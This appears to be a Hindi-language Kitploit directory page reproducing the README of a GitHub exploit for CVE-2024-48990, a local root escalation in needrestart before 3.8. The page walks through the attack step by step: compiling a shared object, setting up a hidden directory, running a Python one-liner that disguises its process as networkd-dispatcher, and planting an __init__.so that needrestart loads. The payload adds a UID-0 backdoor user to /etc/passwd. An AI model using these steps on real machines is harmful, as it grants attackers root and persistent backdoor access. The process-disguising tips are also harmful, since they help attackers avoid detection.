Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-48990 — CVE-2024-48990 (needrestart < 3.8 में स्थानीय विशेषाधिकार वृद्धि) के लिए एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/ns989/cve-2024-48990
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubns989/cve-2024-48990

CVE-2024-48990

CVE-2024-48990 (needrestart < 3.8 में स्थानीय विशेषाधिकार वृद्धि) के लिए एक्सप्लॉइट

रिपॉजिटरी देखें
51 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-48990

CVE-2024-48990 के लिए एक्सप्लॉइट (needrestart < 3.8 में स्थानीय विशेषाधिकार वृद्धि)

पृष्ठभूमि

https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart पढ़ें। Qualys इसे समझाने में बहुत अच्छा काम करता है।

TLDR;

needrestart 3.8 से कम वाले सिस्टम पर, स्थानीय उपयोगकर्ता बिना किसी उपयोगकर्ता इंटरैक्शन के मनमाना कोड निष्पादित कर सकते हैं और रूट तक विशेषाधिकार बढ़ा सकते हैं।

Screenshot from 2024-11-21 20-07-48

एक्सप्लॉइट

जैसा कि अब लिखा गया है, एक्सप्लॉइट sed कमांड का उपयोग करके /etc/passwd फ़ाइल को संपादित करके सिस्टम में UID/GID 0 (रूट) वाला एक नया उपयोगकर्ता "_daemon" जोड़ेगा। पासवर्ड उपयोगकर्ता नाम के समान है। यह भी निश्चित नहीं है कि आप इसे एक्सप्लॉइट कह सकते हैं क्योंकि यह सिर्फ एक साझा लाइब्रेरी है जो एक एकल कमांड चलाती है।

अपने लिए एक्सप्लॉइट संकलित करने के लिए, नीचे दिया गया चलाएँ:

gcc exploit.c -o exploit.so -shared -fPIC -s

1. एक्सप्लॉइट फ़ाइलों को संग्रहीत करने के लिए एक निर्देशिका बनाएँ। आपके द्वारा बनाई गई निर्देशिका में "importlib" नामक एक उपनिर्देशिका होनी चाहिए

mkdir -p /tmp/.X11-Unix/importlib

2. एक प्रक्रिया शुरू करें जो एक्सप्लॉइट को ट्रिगर करेगी

आप कोई भी लंबे समय तक चलने वाली पायथन स्क्रिप्ट चला सकते हैं। लेकिन प्रक्रिया सूची में कम संदिग्ध दिखने के लिए, आप इस एक-लाइनर का उपयोग कर सकते हैं जो एक पायथन इंटरप्रेटर शुरू करता है जो शुरू होते ही निलंबित हो जाता है (इसलिए यह वास्तव में कभी कुछ निष्पादित नहीं करता है)।

  • PYTHON - पायथन इंटरप्रेटर का पथ

  • ARGV - वह स्ट्रिंग जो प्रक्रिया सूची में दिखाई देगी

  • PYPATH - आपके द्वारा बनाई गई निर्देशिका का पथ (importlib निर्देशिका शामिल नहीं)

ARGV के लिए सुनिश्चित करें कि:

  • पायथन इंटरप्रेटर का पथ ARGV में पहला तर्क है

  • दूसरा तर्क ("script") एक फ़ाइल है जो वास्तव में सिस्टम पर मौजूद है (needrestart यह जाँचता है)। वास्तविक पायथन स्क्रिप्ट होने की आवश्यकता नहीं है।

  • दूसरा तर्क पहले से चल रही प्रक्रिया के समान नहीं है (needrestart पहले से देखे गए "कैश्ड" का उपयोग करेगा)।

इसके अलावा, आप ARGV के साथ जितना चाहें खेल सकते हैं। हो सकता है कि इसे एक सामान्य सिस्टम प्रक्रिया जैसा दिखाएं?

PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'

3. एक्सप्लॉइट शेयर्ड ऑब्जेक्ट को सही स्थान पर ले जाएँ

इसे importlib निर्देशिका के अंदर और "init.so" नाम से होना चाहिए

mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so

4. needrestart के अपना काम करने की प्रतीक्षा करें

अगली बार जब needrestart चलेगा (यानी apt या unattended upgrades के साथ एक अपडेट इसे शुरू करता है), यह हमारी प्रक्रिया के PYTHONPATH वेरिएबल के साथ पायथन चलाएगा और init.so फ़ाइल लोड करेगा, जो हमारा कमांड चलाएगा। आप _damon:_daemon क्रेडेंशियल्स के साथ लॉगिन कर सकेंगे।

ऐसी चीज़ें जो एक्सप्लॉइट को काम करने से रोक सकती हैं

needrestart पूरी तरह से बेवकूफ नहीं है और प्रक्रियाओं को स्कैन करते समय और कोड के कमजोर भाग में प्रवेश करने से पहले कुछ चीज़ों की जाँच करता है

  • क्या प्रक्रिया एक चल रही पायथन स्क्रिप्ट है? यदि नहीं, तो यह इसे छोड़ देता है (python -c प्रक्रियाएं छोड़ दी जाती हैं)
  • क्या प्रक्रिया पहले ही देखी जा चुकी है? किसी अन्य प्रक्रिया की कार्बन कॉपी नहीं बना सकते (जैसे unattended-upgrade-shutdown या networkd-dispatcher) या इसे छोड़ दिया जाएगा।
  • यदि /etc/needrestart/needrestart.conf में "$nrconf{interpscan}" को "0" पर सेट किया गया है, तो आप भाग्य से बाहर हैं।
टूल डाउनलोड करें